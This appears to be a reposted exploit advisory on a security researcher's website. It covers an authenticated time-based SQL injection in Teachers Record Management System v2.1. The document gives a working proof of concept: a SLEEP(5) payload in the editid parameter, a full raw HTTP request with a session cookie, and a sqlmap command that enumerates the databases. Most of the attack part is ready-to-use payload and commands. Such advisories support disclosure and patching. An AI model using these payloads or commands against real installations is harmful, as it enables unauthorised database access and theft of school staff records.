Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

# Exploit Title: Teachers Record Management System v2.1 |
Authenticated Time-Based # Exploit Title: Teachers Record Management System v2.1 |
Authenticated Time-Based SQLi
# Date: 2025-03-04
# Exploit Author: Mehmet Can Kad?o?lu a.k.a mao7un
# Vendor: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Demo Site: https://phpgurukul.com/?sdm_process_download=1&download_id=10739
# Tested on: Kali Linux
# CVE: N/A

PoC:

1. login with admin credentials and go to subjects tab.

2. manage the subject, edit a subject as you want, and change the "edited"
parameter to SQLi payloads.

Example:

http://localhost/trms/admin/edit-subjects-detail.php?editid=SLEEP(5)-- -


--------------------------------------------------------------
--------------------------------------------------------------
Request :

GET /trms/admin/edit-subjects-detail.php?editid=SLEEP(5)--%20- HTTP/1.1
Host: localhost
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=2b5914a62f5bbda4b9e6a7fdaf4f7569
Connection: close
--------------------------------------------------------------
--------------------------------------------------------------

sqlmap command :

sqlmap -u "http://localhost/trms/admin/edit-subjects-detail.php?editid=1"
--dbs --batch --cookie "PHPSESSID=3dccea128fec3bd7717ac9d4c354c00c"
Social Media Share